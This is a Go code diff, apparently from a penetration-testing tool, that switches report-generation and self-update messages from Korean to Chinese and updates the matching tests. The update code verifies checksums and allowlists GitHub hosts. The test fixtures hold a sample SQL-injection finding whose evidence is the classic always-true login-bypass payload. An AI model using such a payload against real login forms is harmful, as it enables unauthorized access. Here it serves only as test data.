diff --git a/report/report_localized_test.go b/report/report_localized_test.go
index f285af1..b6dd3f9 100644
--- a/report/report_localized_test.go
+++ b/report/report_localized_test.go
@@ -21,13 +21,35 @@ func containsHan(s string) (rune, bool) {
return 0, false
}
+// containsHangul 은 문자열에 한글 음절이 남아 있으면 true 를 돌려준다.
+// 중국어로 바뀐 뒤 한글이 되돌아오는 회귀를 잡는다.
+func containsHangul(s string) (rune, bool) {
+ for _, r := range s {
+ if unicode.Is(unicode.Hangul, r) {
+ return r, true
+ }
+ }
+ return 0, false
+}
+
+// assertChinese 는 s 에 한자가 있고 한글이 없음을 단언한다.
+func assertChinese(t *testing.T, label, s string) {
+ t.Helper()
+ if r, ok := containsHangul(s); ok {
+ t.Fatalf("%s: 한글이 남아 있습니다 %q:\n%s", label, string(r), s)
+ }
+ if _, ok := containsHan(s); !ok {
+ t.Fatalf("%s: 한자가 없습니다:\n%s", label, s)
+ }
+}
+
func sampleFindingNode(t *testing.T) *db.Node {
t.Helper()
payload, err := json.Marshal(map[string]any{
"vulnclass": "SQL Injection",
- "name": "로그인 폼 SQL 주입",
+ "name": "登录表单 SQL 注入",
"severity": "high",
- "summary": "로그인 파라미터에서 오류 기반 SQL 주입이 확인되었습니다.",
+ "summary": "在登录参数中确认了基于错误的 SQL 注入。",
"evidence": map[string]string{"poc": "' OR '1'='1"},
})
if err != nil {
@@ -40,20 +62,20 @@ func sampleDBFinding() *db.DBFinding {
return &db.DBFinding{
ID: 123,
VulnClass: "SQL Injection",
- Name: "로그인 폼 SQL 주입",
+ Name: "登录表单 SQL 注入",
Severity: "high",
- Summary: "로그인 파라미터에서 오류 기반 SQL 주입이 확인되었습니다.",
+ Summary: "在登录参数中确认了基于错误的 SQL 注入。",
Evidence: "' OR '1'='1",
Status: "confirmed",
- Report: "상세 분석 본문.",
+ Report: "详细分析正文。",
CreatedAt: time.Date(2026, 10, 4, 2, 30, 0, 0, time.UTC),
EvidenceVersion: 2,
- TaskDescription: "데모 대상 침투 테스트",
+ TaskDescription: "演示目标渗透测试",
TrafficBindings: []db.FindingTrafficBinding{
{
ID: 9,
Role: "request",
- Note: "주입 페이로드 전송 지점",
+ Note: "注入载荷发送点",
Snapshot: db.TrafficEvidenceSnapshot{
Method: "POST",
URL: "https://sandbox.local/login",
@@ -68,23 +90,21 @@ func sampleDBFinding() *db.DBFinding {
// 중국어 한자가 전혀 없음을 검증한다.
func TestReportMarkdownLocalized(t *testing.T) {
out := Markdown(Input{
- Title: "데모 작업",
- Goal: "샌드박스 전수 점검",
+ Title: "演示任务",
+ Goal: "沙箱全面检查",
GeneratedAt: time.Date(2026, 10, 4, 2, 30, 0, 0, time.UTC),
AssetCounts: map[string]int{"host": 2, "url": 5},
Findings: []*db.Node{sampleFindingNode(t)},
})
- if r, ok := containsHan(out); ok {
- t.Fatalf("보고서 골격에 중국어 한자 %q 가 남아 있다:\n%s", string(r), out)
- }
+ assertChinese(t, "보고서", out)
for _, want := range []string{
- "# 침투 테스트 보고서: 데모 작업",
- "- **작업 목표**: 샌드박스 전수 점검",
- "- **생성 시각**:",
- "## 요약",
- "- 확인된 취약점: **1**건",
- "## 취약점",
- "**PoC / 증거:**",
+ "# 渗透测试报告: 演示任务",
+ "- **任务目标**: 沙箱全面检查",
+ "- **生成时间**:",
+ "## 摘要",
+ "- 已确认漏洞: **1** 个",
+ "## 漏洞",
+ "**PoC / 证据:**",
} {
if !strings.Contains(out, want) {
t.Errorf("보고서 골격에 %q 가 없다", want)
@@ -94,12 +114,10 @@ func TestReportMarkdownLocalized(t *testing.T) {
// TestReportMarkdownEmptyLocalized 는 취약점이 없을 때의 안내 문구가 한국어임을 검증한다.
func TestReportMarkdownEmptyLocalized(t *testing.T) {
- out := Markdown(Input{Title: "빈 작업", GeneratedAt: time.Now()})
- if r, ok := containsHan(out); ok {
- t.Fatalf("빈 보고서에 중국어 한자 %q 가 남아 있다:\n%s", string(r), out)
- }
- if !strings.Contains(out, "_이번에 확인된 취약점이 없습니다._") {
- t.Errorf("빈 보고서 안내 문구가 한국어가 아니다:\n%s", out)
+ out := Markdown(Input{Title: "空任务", GeneratedAt: time.Now()})
+ assertChinese(t, "빈 보고서", out)
+ if !strings.Contains(out, "_本次未确认到任何漏洞。_") {
+ t.Errorf("빈 보고서 안내 문구가 중국어가 아니다:\n%s", out)
}
}
@@ -108,25 +126,23 @@ func TestReportMarkdownEmptyLocalized(t *testing.T) {
func TestFindingsMarkdownLocalized(t *testing.T) {
f := sampleDBFinding()
out := FindingsMarkdown([]*db.DBFinding{f}, time.Date(2026, 10, 4, 2, 30, 0, 0, time.UTC))
- if r, ok := containsHan(out); ok {
- t.Fatalf("취약점 요약 보고서에 중국어 한자 %q 가 남아 있다:\n%s", string(r), out)
- }
+ assertChinese(t, "취약점 요약 보고서", out)
for _, want := range []string{
- "# 취약점 요약 보고서",
- "- **생성 시각**:",
- "- **취약점 총계**: 1건",
- "## 요약",
- "| 심각도 | 개수 |",
- "| 심각 |", "| 높음 |", "| 중간 |", "| 낮음 |", // 심각도 라벨(UI status.severity 와 동일)
- "## 취약점 상세",
- "- **유형**: SQL Injection",
- "- **상태**: confirmed",
- "- **소속 작업**: 데모 대상 침투 테스트",
- "- **발견 시각**:",
- "**증거:**",
- "**상세 보고서:**",
- "## 관련 트래픽 증거",
- "증거 버전: 2, 바인딩 개수: 1.",
+ "# 漏洞摘要报告",
+ "- **生成时间**:",
+ "- **漏洞总数**: 1 个",
+ "## 摘要",
+ "| 严重程度 | 数量 |",
+ "| 严重 |", "| 高危 |", "| 中危 |", "| 低危 |", // 심각도 라벨(UI status.severity 와 동일)
+ "## 漏洞详情",
+ "- **类型**: SQL Injection",
+ "- **状态**: confirmed",
+ "- **所属任务**: 演示目标渗透测试",
+ "- **发现时间**:",
+ "**证据:**",
+ "**详细报告:**",
+ "## 相关流量证据",
+ "证据版本: 2, 绑定数量: 1.",
} {
if !strings.Contains(out, want) {
t.Errorf("요약 보고서에 %q 가 없다", want)
@@ -134,16 +150,14 @@ func TestFindingsMarkdownLocalized(t *testing.T) {
}
single := SingleFindingMarkdown(f, time.Date(2026, 10, 4, 2, 30, 0, 0, time.UTC))
- if r, ok := containsHan(single); ok {
- t.Fatalf("단건 보고서에 중국어 한자 %q 가 남아 있다:\n%s", string(r), single)
- }
+ assertChinese(t, "단건 보고서", single)
for _, want := range []string{
- "- **심각도**: high",
- "## 개요",
- "## 증거",
- "## 상세 보고서",
- "[요청 메시지](evidence/123/9/request.http)",
- "[응답 메시지](evidence/123/9/response.http)",
+ "- **严重程度**: high",
+ "## 概述",
+ "## 证据",
+ "## 详细报告",
+ "[请求消息](evidence/123/9/request.http)",
+ "[响应消息](evidence/123/9/response.http)",
} {
if !strings.Contains(single, want) {
t.Errorf("단건 보고서에 %q 가 없다", want)
@@ -157,10 +171,8 @@ func TestFindingsCSVLocalized(t *testing.T) {
raw := FindingsCSV([]*db.DBFinding{sampleDBFinding()})
out := strings.TrimPrefix(string(raw), "\xEF\xBB\xBF")
header := strings.SplitN(out, "\n", 2)[0]
- if r, ok := containsHan(header); ok {
- t.Fatalf("CSV 헤더에 중국어 한자 %q 가 남아 있다: %s", string(r), header)
- }
- for _, col := range []string{"ID", "이름", "유형", "심각도", "상태", "소속 작업", "발견 시각", "개요", "트래픽 증거 개수", "트래픽 증거 ID"} {
+ assertChinese(t, "CSV 헤더", header)
+ for _, col := range []string{"ID", "名称", "类型", "严重程度", "状态", "所属任务", "发现时间", "概述", "流量证据数量", "流量证据 ID"} {
if !strings.Contains(header, col) {
t.Errorf("CSV 헤더에 %q 열이 없다: %s", col, header)
}
diff --git a/selfupdate/bootstrap.go b/selfupdate/bootstrap.go
index 287dc68..cceed01 100644
--- a/selfupdate/bootstrap.go
+++ b/selfupdate/bootstrap.go
@@ -80,14 +80,14 @@ func applyStaged(p Paths) (Action, State) {
log.Printf("[update] 暂存的新版本未通过校验,已丢弃,继续运行当前版本:%v", err)
cleanStaged(p)
_ = os.Remove(p.Marker)
- return Continue, State{FailedStage: true, Detail: "새 버전 검증에 실패해 폐기했습니다: " + err.Error()}
+ return Continue, State{FailedStage: true, Detail: "新版本校验失败,已丢弃: " + err.Error()}
}
if err := swap(p); err != nil {
log.Printf("[update] 换装失败,继续运行当前版本:%v", err)
cleanStaged(p)
_ = os.Remove(p.Marker)
- return Continue, State{FailedStage: true, Detail: "버전 교체에 실패했습니다: " + err.Error()}
+ return Continue, State{FailedStage: true, Detail: "版本替换失败: " + err.Error()}
}
// 换装成功。保留标记,交给下一次启动(跑的就是新版)确认是否稳定。
@@ -115,12 +115,12 @@ func confirmOrRollback(p Paths, m marker) (Action, State) {
// 让进程按当前状态起——起不来的话用户至少能在日志里看到原因。
log.Printf("[update] 新版本连续 %d 次启动失败,且回滚失败:%v", maxAttempts, err)
_ = os.Remove(p.Marker)
- return Continue, State{Detail: "새 버전 시작에 실패하고 롤백도 실패했습니다: " + err.Error()}
+ return Continue, State{Detail: "新版本启动失败,回滚也失败: " + err.Error()}
}
log.Printf("[update] 新版本连续 %d 次启动失败,已回滚到 %s,退出以重启(exit %d)",
maxAttempts, orUnknown(m.From), ExitRestart)
_ = os.Remove(p.Marker)
- return Restart, State{RolledBack: true, Detail: fmt.Sprintf("새 버전 시작에 실패해 이전 버전으로 롤백했습니다(%s)", orUnknown(m.From))}
+ return Restart, State{RolledBack: true, Detail: fmt.Sprintf("新版本启动失败,已回滚到上一版本(%s)", orUnknown(m.From))}
}
if err := writeMarker(p.Marker, m); err != nil {
log.Printf("[update] 更新升级标记失败:%v", err)
@@ -160,14 +160,14 @@ const SettleDelay = 30 * time.Second
func verifyStaged(p Paths) error {
want, err := os.ReadFile(p.Sum)
if err != nil {
- return fmt.Errorf("체크섬 읽기 실패: %w", err)
+ return fmt.Errorf("校验和读取失败: %w", err)
}
got, err := fileSHA256(p.New)
if err != nil {
- return fmt.Errorf("체크섬 계산 실패: %w", err)
+ return fmt.Errorf("校验和计算失败: %w", err)
}
if !strings.EqualFold(strings.TrimSpace(string(want)), got) {
- return errors.New("SHA256 이 일치하지 않습니다(다운로드가 손상됐거나 변조됨)")
+ return errors.New("SHA256 不匹配(下载已损坏或被篡改)")
}
return smokeTest(p.New)
}
@@ -176,7 +176,7 @@ func verifyStaged(p Paths) error {
// 这能挡掉下载截断、架构选错(exec format error)、缺依赖等一大类问题。
func smokeTest(bin string) error {
if err := os.Chmod(bin, 0o755); err != nil {
- return fmt.Errorf("실행 권한 부여 실패: %w", err)
+ return fmt.Errorf("授予执行权限失败: %w", err)
}
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
@@ -185,14 +185,14 @@ func smokeTest(bin string) error {
cmd.Env = append(os.Environ(), smokeEnv+"=1")
out, err := cmd.CombinedOutput()
if ctx.Err() != nil {
- return errors.New("스모크 테스트 시간 초과(새 바이너리가 응답하지 않음)")
+ return errors.New("冒烟测试超时(新二进制文件无响应)")
}
if err != nil {
snippet := strings.TrimSpace(string(out))
if len(snippet) > 300 {
snippet = snippet[:300] + "…"
}
- return fmt.Errorf("스모크 테스트 실패: %v: %s", err, snippet)
+ return fmt.Errorf("冒烟测试失败: %v: %s", err, snippet)
}
return nil
}
@@ -204,17 +204,17 @@ func smokeTest(bin string) error {
func swap(p Paths) error {
// Windows 的 rename 不会覆盖已存在的目标,上一轮升级留下的 .old 必须先清掉。
if err := os.Remove(p.Old); err != nil && !errors.Is(err, os.ErrNotExist) {
- return fmt.Errorf("이전 백업 %s 정리 실패: %w", p.Old, err)
+ return fmt.Errorf("清理旧备份 %s 失败: %w", p.Old, err)
}
if err := os.Rename(p.Current, p.Old); err != nil {
- return fmt.Errorf("현재 버전 백업 실패: %w", err)
+ return fmt.Errorf("当前版本备份失败: %w", err)
}
if err := os.Rename(p.New, p.Current); err != nil {
// 换装失败但当前版本已经被挪走了,必须原样放回去,否则下次启动没有可执行文件。
if rerr := os.Rename(p.Old, p.Current); rerr != nil {
- return fmt.Errorf("새 버전 설치 실패(%v), 현재 버전 복구도 실패: %w", err, rerr)
+ return fmt.Errorf("新版本安装失败(%v),当前版本恢复也失败: %w", err, rerr)
}
- return fmt.Errorf("새 버전 설치 실패: %w", err)
+ return fmt.Errorf("新版本安装失败: %w", err)
}
_ = os.Remove(p.Sum)
return nil
@@ -223,16 +223,16 @@ func swap(p Paths) error {
// rollback 把 swap 备份的旧版本换回来。
func rollback(p Paths) error {
if _, err := os.Stat(p.Old); err != nil {
- return fmt.Errorf("롤백할 백업이 없습니다(%s): %w", p.Old, err)
+ return fmt.Errorf("没有可回滚的备份(%s): %w", p.Old, err)
}
// 把起不来的新版挪到 .failed 留作排查,而不是直接删掉。
failed := p.Current + ".failed"
_ = os.Remove(failed)
if err := os.Rename(p.Current, failed); err != nil {
- return fmt.Errorf("실패한 버전 이동 실패: %w", err)
+ return fmt.Errorf("移动失败版本失败: %w", err)
}
if err := os.Rename(p.Old, p.Current); err != nil {
- return fmt.Errorf("이전 버전 복구 실패: %w", err)
+ return fmt.Errorf("上一版本恢复失败: %w", err)
}
return nil
}
@@ -245,21 +245,21 @@ func Rollback() error {
return err
}
if _, err := os.Stat(p.Old); err != nil {
- return errors.New("롤백할 이전 버전이 없습니다(" + p.Old + " 없음)")
+ return errors.New("没有可回滚的上一版本(不存在 " + p.Old + ")")
}
cleanStaged(p)
if err := smokeTest(p.Old); err != nil {
- return fmt.Errorf("이전 버전을 실행할 수 없어 롤백을 거부합니다: %w", err)
+ return fmt.Errorf("无法运行上一版本,拒绝回滚: %w", err)
}
// 交换当前与备份:回滚之后还能再滚回来。
tmp := p.Current + ".swap"
_ = os.Remove(tmp)
if err := os.Rename(p.Current, tmp); err != nil {
- return fmt.Errorf("현재 버전 이동 실패: %w", err)
+ return fmt.Errorf("当前版本移动失败: %w", err)
}
if err := os.Rename(p.Old, p.Current); err != nil {
_ = os.Rename(tmp, p.Current)
- return fmt.Errorf("이전 버전 설치 실패: %w", err)
+ return fmt.Errorf("上一版本安装失败: %w", err)
}
if err := os.Rename(tmp, p.Old); err != nil {
log.Printf("[update] 回滚后整理备份失败(不影响运行):%v", err)
@@ -293,7 +293,7 @@ func fileSHA256(path string) (string, error) {
func orUnknown(s string) string {
if strings.TrimSpace(s) == "" {
- return "알 수 없는 버전"
+ return "未知版本"
}
return s
}
diff --git a/selfupdate/github.go b/selfupdate/github.go
index a4d3a9a..51ba403 100644
--- a/selfupdate/github.go
+++ b/selfupdate/github.go
@@ -66,7 +66,7 @@ func NewClient(proxy string) *http.Client {
Timeout: 30 * time.Minute, // 下载整包,不能按请求级超时卡死
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 10 {
- return fmt.Errorf("리다이렉트 횟수가 너무 많습니다")
+ return fmt.Errorf("重定向次数过多")
}
return checkURL(req.URL)
},
@@ -76,10 +76,10 @@ func NewClient(proxy string) *http.Client {
// checkURL 强制 https + 域名白名单。
func checkURL(u *url.URL) error {
if u.Scheme != "https" {
- return fmt.Errorf("HTTPS 가 아닌 주소를 거부합니다: %s", u.Scheme+"://"+u.Host)
+ return fmt.Errorf("拒绝非 HTTPS 地址: %s", u.Scheme+"://"+u.Host)
}
if !allowedHosts[strings.ToLower(u.Hostname())] {
- return fmt.Errorf("GitHub 도메인이 아닌 주소를 거부합니다: %s", u.Hostname())
+ return fmt.Errorf("拒绝非 GitHub 域名地址: %s", u.Hostname())
}
return nil
}
@@ -98,26 +98,26 @@ func FetchLatest(ctx context.Context, c *http.Client) (*Release, error) {
resp, err := c.Do(req)
if err != nil {
- return nil, fmt.Errorf("GitHub 에 접속하지 못했습니다(시스템 설정에서 전역 프록시를 설정할 수 있습니다): %w", err)
+ return nil, fmt.Errorf("无法连接到 GitHub(可在系统设置中配置全局代理): %w", err)
}
defer resp.Body.Close()
switch {
case resp.StatusCode == http.StatusForbidden, resp.StatusCode == http.StatusTooManyRequests:
// 未认证的 GitHub API 是每 IP 每小时 60 次,共用出口 IP 时很容易撞上。
- return nil, fmt.Errorf("GitHub API 요청 제한에 걸렸습니다(시간당 60회). 잠시 후 다시 시도하세요")
+ return nil, fmt.Errorf("触发了 GitHub API 请求限制(每小时 60 次)。请稍后重试")
case resp.StatusCode == http.StatusNotFound:
- return nil, fmt.Errorf("저장소 %s 에 아직 정식 릴리스가 없습니다", Repo)
+ return nil, fmt.Errorf("仓库 %s 尚未有正式发布", Repo)
case resp.StatusCode != http.StatusOK:
- return nil, fmt.Errorf("GitHub 응답 코드 %d", resp.StatusCode)
+ return nil, fmt.Errorf("GitHub 响应代码 %d", resp.StatusCode)
}
var rel Release
if err := json.NewDecoder(resp.Body).Decode(&rel); err != nil {
- return nil, fmt.Errorf("Release 해석 실패: %w", err)
+ return nil, fmt.Errorf("Release 解析失败: %w", err)
}
if strings.TrimSpace(rel.TagName) == "" {
- return nil, fmt.Errorf("Release 에 tag 가 없습니다")
+ return nil, fmt.Errorf("Release 中没有 tag")
}
return &rel, nil
}
diff --git a/selfupdate/selfupdate.go b/selfupdate/selfupdate.go
index c2e95ec..da277e2 100644
--- a/selfupdate/selfupdate.go
+++ b/selfupdate/selfupdate.go
@@ -56,7 +56,7 @@ type Paths struct {
func ResolvePaths() (Paths, error) {
exe, err := os.Executable()
if err != nil {
- return Paths{}, fmt.Errorf("실행 파일 위치 확인 실패: %w", err)
+ return Paths{}, fmt.Errorf("可执行文件位置检查失败: %w", err)
}
if resolved, err := filepath.EvalSymlinks(exe); err == nil {
exe = resolved
diff --git a/selfupdate/selfupdate_localized_test.go b/selfupdate/selfupdate_localized_test.go
index 4eba129..c24ce44 100644
--- a/selfupdate/selfupdate_localized_test.go
+++ b/selfupdate/selfupdate_localized_test.go
@@ -33,19 +33,19 @@ func hasHanzi(s string) bool {
return false
}
-// assertKoreanError 는 오류가 존재하고, 한글을 포함하며, 중국어 한자가 없음을 단언한다.
-// %w 로 감싼 하부 stdlib 오류의 영어는 허용된다(한자만 금지).
-func assertKoreanError(t *testing.T, label string, err error) {
+// assertChineseError 는 오류가 존재하고, 한자를 포함하며, 한글이 없음을 단언한다.
+// %w 로 감싼 하부 stdlib 오류의 영어는 허용된다(한글만 금지).
+func assertChineseError(t *testing.T, label string, err error) {
t.Helper()
if err == nil {
t.Fatalf("%s: 오류를 기대했으나 nil 이었습니다", label)
}
msg := err.Error()
- if !hasHangul(msg) {
- t.Errorf("%s: 한글이 없습니다: %q", label, msg)
+ if !hasHanzi(msg) {
+ t.Errorf("%s: 한자가 없습니다: %q", label, msg)
}
- if hasHanzi(msg) {
- t.Errorf("%s: 중국어 한자가 남아 있습니다: %q", label, msg)
+ if hasHangul(msg) {
+ t.Errorf("%s: 한글이 남아 있습니다: %q", label, msg)
}
}
@@ -68,13 +68,13 @@ func stubClient(status int, body string) *http.Client {
// 문구 언어는 보지 않는다. 여기서는 두 거부 경로의 오류가 한국어인지 확인한다.
func TestCheckURLErrorsLocalized(t *testing.T) {
nonHTTPS := checkURL(mustParse(t, "http://api.github.com/x"))
- assertKoreanError(t, "non-https", nonHTTPS)
+ assertChineseError(t, "non-https", nonHTTPS)
if !strings.Contains(nonHTTPS.Error(), "HTTPS") {
t.Errorf("non-https 오류에 HTTPS 표기가 없습니다: %q", nonHTTPS.Error())
}
nonGitHub := checkURL(mustParse(t, "https://evil.example.com/x"))
- assertKoreanError(t, "non-github-host", nonGitHub)
+ assertChineseError(t, "non-github-host", nonGitHub)
if !strings.Contains(nonGitHub.Error(), "GitHub") {
t.Errorf("non-github 오류에 GitHub 표기가 없습니다: %q", nonGitHub.Error())
}
@@ -86,25 +86,25 @@ func TestFetchLatestErrorsLocalized(t *testing.T) {
ctx := context.Background()
_, errRate := FetchLatest(ctx, stubClient(http.StatusForbidden, ""))
- assertKoreanError(t, "rate-limited", errRate)
+ assertChineseError(t, "rate-limited", errRate)
if !strings.Contains(errRate.Error(), "60") {
t.Errorf("요청 제한 오류에 60 표기가 없습니다: %q", errRate.Error())
}
_, errNF := FetchLatest(ctx, stubClient(http.StatusNotFound, ""))
- assertKoreanError(t, "not-found", errNF)
+ assertChineseError(t, "not-found", errNF)
_, errStatus := FetchLatest(ctx, stubClient(http.StatusInternalServerError, ""))
- assertKoreanError(t, "bad-status", errStatus)
+ assertChineseError(t, "bad-status", errStatus)
if !strings.Contains(errStatus.Error(), "GitHub") {
t.Errorf("상태 오류에 GitHub 표기가 없습니다: %q", errStatus.Error())
}
_, errJSON := FetchLatest(ctx, stubClient(http.StatusOK, "{not json"))
- assertKoreanError(t, "bad-json", errJSON)
+ assertChineseError(t, "bad-json", errJSON)
_, errTag := FetchLatest(ctx, stubClient(http.StatusOK, "{}"))
- assertKoreanError(t, "missing-tag", errTag)
+ assertChineseError(t, "missing-tag", errTag)
if !strings.Contains(errTag.Error(), "tag") {
t.Errorf("tag 누락 오류에 tag 표기가 없습니다: %q", errTag.Error())
}
@@ -116,5 +116,5 @@ func TestFetchLatestErrorsLocalized(t *testing.T) {
func TestStageMissingAssetLocalized(t *testing.T) {
rel := &Release{TagName: "v9.9.9"} // Assets 비어 있음
err := Stage(context.Background(), &http.Client{}, rel, "0.0.1", nil)
- assertKoreanError(t, "stage-missing-asset", err)
+ assertChineseError(t, "stage-missing-asset", err)
}
diff --git a/selfupdate/stage.go b/selfupdate/stage.go
index 30c5583..1783221 100644
--- a/selfupdate/stage.go
+++ b/selfupdate/stage.go
@@ -59,17 +59,17 @@ func Stage(ctx context.Context, c *http.Client, rel *Release, currentVersion str
name := AssetName(rel.TagName, runtime.GOOS, runtime.GOARCH)
asset, ok := rel.FindAsset(name)
if !ok {
- return fmt.Errorf("이 버전은 %s/%s 용 릴리스 패키지를 제공하지 않습니다(%s 누락)", runtime.GOOS, runtime.GOARCH, name)
+ return fmt.Errorf("该版本未提供适用于 %s/%s 的发布包(缺少 %s)", runtime.GOOS, runtime.GOARCH, name)
}
- prog(PhaseDownload, 0, "체크섬 목록을 가져오는 중…")
+ prog(PhaseDownload, 0, "正在获取校验和列表…")
sums, err := fetchSums(ctx, c, rel)
if err != nil {
return err
}
want, ok := sums[name]
if !ok {
- return fmt.Errorf("%s 에 %s 항목이 없어 검증되지 않은 바이너리 설치를 거부합니다", sumsAsset, name)
+ return fmt.Errorf("%s 中没有 %s 条目,拒绝安装未经验证的二进制文件", sumsAsset, name)
}
// 临时文件全部落在目标目录里,保证最后的 rename 是同一文件系统内的原子操作
@@ -81,37 +81,37 @@ func Stage(ctx context.Context, c *http.Client, rel *Release, currentVersion str
_ = os.Remove(binPath)
}()
- prog(PhaseDownload, 0, fmt.Sprintf("%s 내려받는 중(%s)…", name, humanSize(asset.Size)))
+ prog(PhaseDownload, 0, fmt.Sprintf("正在下载 %s(%s)…", name, humanSize(asset.Size)))
got, err := download(ctx, c, asset, zipPath, prog)
if err != nil {
return err
}
- prog(PhaseVerify, -1, "SHA256 검증 중…")
+ prog(PhaseVerify, -1, "正在校验 SHA256…")
if !strings.EqualFold(got, want) {
- return fmt.Errorf("SHA256 이 일치하지 않습니다: 기대값 %s, 실제값 %s(다운로드가 손상됐거나 변조됨)", short(want), short(got))
+ return fmt.Errorf("SHA256 不匹配: 期待值 %s, 实际值 %s(下载已损坏或被篡改)", short(want), short(got))
}
- prog(PhaseExtract, -1, "압축을 풀고 스모크 테스트 중…")
+ prog(PhaseExtract, -1, "正在解压并进行冒烟测试…")
if err := extractBinary(zipPath, binPath); err != nil {
return err
}
if err := smokeTest(binPath); err != nil {
- return fmt.Errorf("새 버전이 현재 시스템에서 실행되지 않습니다: %w", err)
+ return fmt.Errorf("新版本在当前系统上无法运行: %w", err)
}
// 暂存件自己的 sha256 单独存一份:下次启动换装前还要再校验一次,
// 防止暂存后到重启前这段时间里文件被改动或写坏。
binSum, err := fileSHA256(binPath)
if err != nil {
- return fmt.Errorf("새 바이너리 체크섬 계산 실패: %w", err)
+ return fmt.Errorf("新二进制文件校验和计算失败: %w", err)
}
if err := os.WriteFile(p.Sum, []byte(binSum), 0o644); err != nil {
- return fmt.Errorf("체크섬 기록 실패: %w", err)
+ return fmt.Errorf("校验和记录失败: %w", err)
}
if err := os.Rename(binPath, p.New); err != nil {
_ = os.Remove(p.Sum)
- return fmt.Errorf("새 버전 준비 실패: %w", err)
+ return fmt.Errorf("新版本准备失败: %w", err)
}
if err := writeMarker(p.Marker, marker{
@@ -120,10 +120,10 @@ func Stage(ctx context.Context, c *http.Client, rel *Release, currentVersion str
StagedAt: time.Now().Unix(),
}); err != nil {
// 标记只影响自动回滚能力,暂存件本身已就位,不因此中断升级。
- prog(PhaseStaged, -1, "경고: 업데이트 표시 파일 기록에 실패해 이번 업데이트는 자동 롤백 보호를 받지 못합니다")
+ prog(PhaseStaged, -1, "警告: 更新标记文件写入失败,本次更新将不受自动回滚保护")
}
- prog(PhaseStaged, 100, "새 버전이 준비되었습니다. 재시작 중…")
+ prog(PhaseStaged, 100, "新版本已准备就绪。正在重启…")
return nil
}
@@ -131,21 +131,21 @@ func Stage(ctx context.Context, c *http.Client, rel *Release, currentVersion str
func fetchSums(ctx context.Context, c *http.Client, rel *Release) (map[string]string, error) {
asset, ok := rel.FindAsset(sumsAsset)
if !ok {
- return nil, fmt.Errorf("이 릴리스에 %s 항목이 없어 무결성을 검증할 수 없으므로 업데이트를 거부합니다", sumsAsset)
+ return nil, fmt.Errorf("该发布中没有 %s 条目,无法验证完整性,拒绝更新", sumsAsset)
}
body, err := get(ctx, c, asset.URL)
if err != nil {
- return nil, fmt.Errorf("%s 내려받기 실패: %w", sumsAsset, err)
+ return nil, fmt.Errorf("%s 下载失败: %w", sumsAsset, err)
}
defer body.Close()
raw, err := io.ReadAll(io.LimitReader(body, 1<<20))
if err != nil {
- return nil, fmt.Errorf("%s 읽기 실패: %w", sumsAsset, err)
+ return nil, fmt.Errorf("%s 读取失败: %w", sumsAsset, err)
}
out := parseSums(string(raw))
if len(out) == 0 {
- return nil, fmt.Errorf("%s 내용이 비어 있거나 형식을 인식할 수 없습니다", sumsAsset)
+ return nil, fmt.Errorf("%s 内容为空或格式无法识别", sumsAsset)
}
return out, nil
}
@@ -191,26 +191,26 @@ func isHexSHA256(s string) bool {
func download(ctx context.Context, c *http.Client, a Asset, dst string, prog Progress) (string, error) {
body, err := get(ctx, c, a.URL)
if err != nil {
- return "", fmt.Errorf("%s 내려받기 실패: %w", a.Name, err)
+ return "", fmt.Errorf("%s 下载失败: %w", a.Name, err)
}
defer body.Close()
f, err := os.Create(dst)
if err != nil {
- return "", fmt.Errorf("임시 파일 생성 실패: %w", err)
+ return "", fmt.Errorf("临时文件创建失败: %w", err)
}
defer f.Close()
h := sha256.New()
pw := &progressWriter{total: a.Size, prog: prog, name: a.Name, last: time.Now()}
if _, err := io.Copy(io.MultiWriter(f, h, pw), body); err != nil {
- return "", fmt.Errorf("다운로드가 중단되었습니다: %w", err)
+ return "", fmt.Errorf("下载已中断: %w", err)
}
if err := f.Sync(); err != nil {
- return "", fmt.Errorf("디스크 기록 실패: %w", err)
+ return "", fmt.Errorf("磁盘写入失败: %w", err)
}
if a.Size > 0 && pw.written != a.Size {
- return "", fmt.Errorf("다운로드가 완전하지 않습니다: 기대 %d바이트, 실제 %d바이트", a.Size, pw.written)
+ return "", fmt.Errorf("下载不完整: 期待 %d 字节, 实际 %d 字节", a.Size, pw.written)
}
return hex.EncodeToString(h.Sum(nil)), nil
}
@@ -247,7 +247,7 @@ func extractBinary(zipPath, dst string) error {
}
zr, err := zip.OpenReader(zipPath)
if err != nil {
- return fmt.Errorf("릴리스 패키지 열기 실패: %w", err)
+ return fmt.Errorf("发布包打开失败: %w", err)
}
defer zr.Close()
@@ -257,29 +257,29 @@ func extractBinary(zipPath, dst string) error {
}
rc, err := entry.Open()
if err != nil {
- return fmt.Errorf("%s 읽기 실패: %w", entry.Name, err)
+ return fmt.Errorf("%s 读取失败: %w", entry.Name, err)
}
defer rc.Close()
f, err := os.OpenFile(dst, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0o755)
if err != nil {
- return fmt.Errorf("새 바이너리 쓰기 실패: %w", err)
+ return fmt.Errorf("新二进制文件写入失败: %w", err)
}
defer f.Close()
n, err := io.Copy(f, io.LimitReader(rc, maxBinarySize+1))
if err != nil {
- return fmt.Errorf("%s 압축 해제 실패: %w", entry.Name, err)
+ return fmt.Errorf("%s 解压失败: %w", entry.Name, err)
}
if n > maxBinarySize {
- return fmt.Errorf("릴리스 패키지 안의 실행 파일이 %s 보다 커서 압축 해제를 거부합니다", humanSize(maxBinarySize))
+ return fmt.Errorf("发布包内的可执行文件超过 %s,拒绝解压", humanSize(maxBinarySize))
}
if n == 0 {
- return fmt.Errorf("릴리스 패키지 안의 %s 파일이 비어 있습니다", want)
+ return fmt.Errorf("发布包内的 %s 文件为空", want)
}
return f.Sync()
}
- return fmt.Errorf("릴리스 패키지에서 %s 파일을 찾지 못했습니다", want)
+ return fmt.Errorf("在发布包中未找到 %s 文件", want)
}
// checkWritable 提前确认目录可写。没有这一步,非 root 运行、或二进制被放在系统
@@ -287,7 +287,7 @@ func extractBinary(zipPath, dst string) error {
func checkWritable(dir string) error {
probe, err := os.CreateTemp(dir, ".artex-update-probe-*")
if err != nil {
- return fmt.Errorf("프로그램 디렉터리 %s 에 쓸 수 없어 자동 업데이트를 할 수 없습니다(권한을 확인하거나 수동 업데이트를 사용하세요): %w", dir, err)
+ return fmt.Errorf("无法写入程序目录 %s,无法自动更新(请检查权限或使用手动更新): %w", dir, err)
}
name := probe.Name()
_ = probe.Close()
@@ -314,7 +314,7 @@ func (w *progressWriter) Write(b []byte) (int, error) {
if w.total > 0 {
pct = int(w.written * 100 / w.total)
}
